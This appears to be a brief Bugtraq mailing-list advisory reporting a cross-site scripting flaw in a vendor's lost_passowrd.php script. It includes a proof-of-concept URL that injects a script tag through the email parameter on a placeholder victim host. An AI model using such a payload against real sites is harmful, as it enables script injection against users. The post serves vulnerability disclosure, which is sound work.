via bugtraq: : Authors Site: http://www.naxtor.com.au/ : : XSS: : : http://www.victim.com/lost_passowrd.php?&email=<script>var%20xss=31337;alert : (xss);</script>&reset=reset The demo linked off the vendor page has this as lost_passowrd.php, so this is *not* a typo =)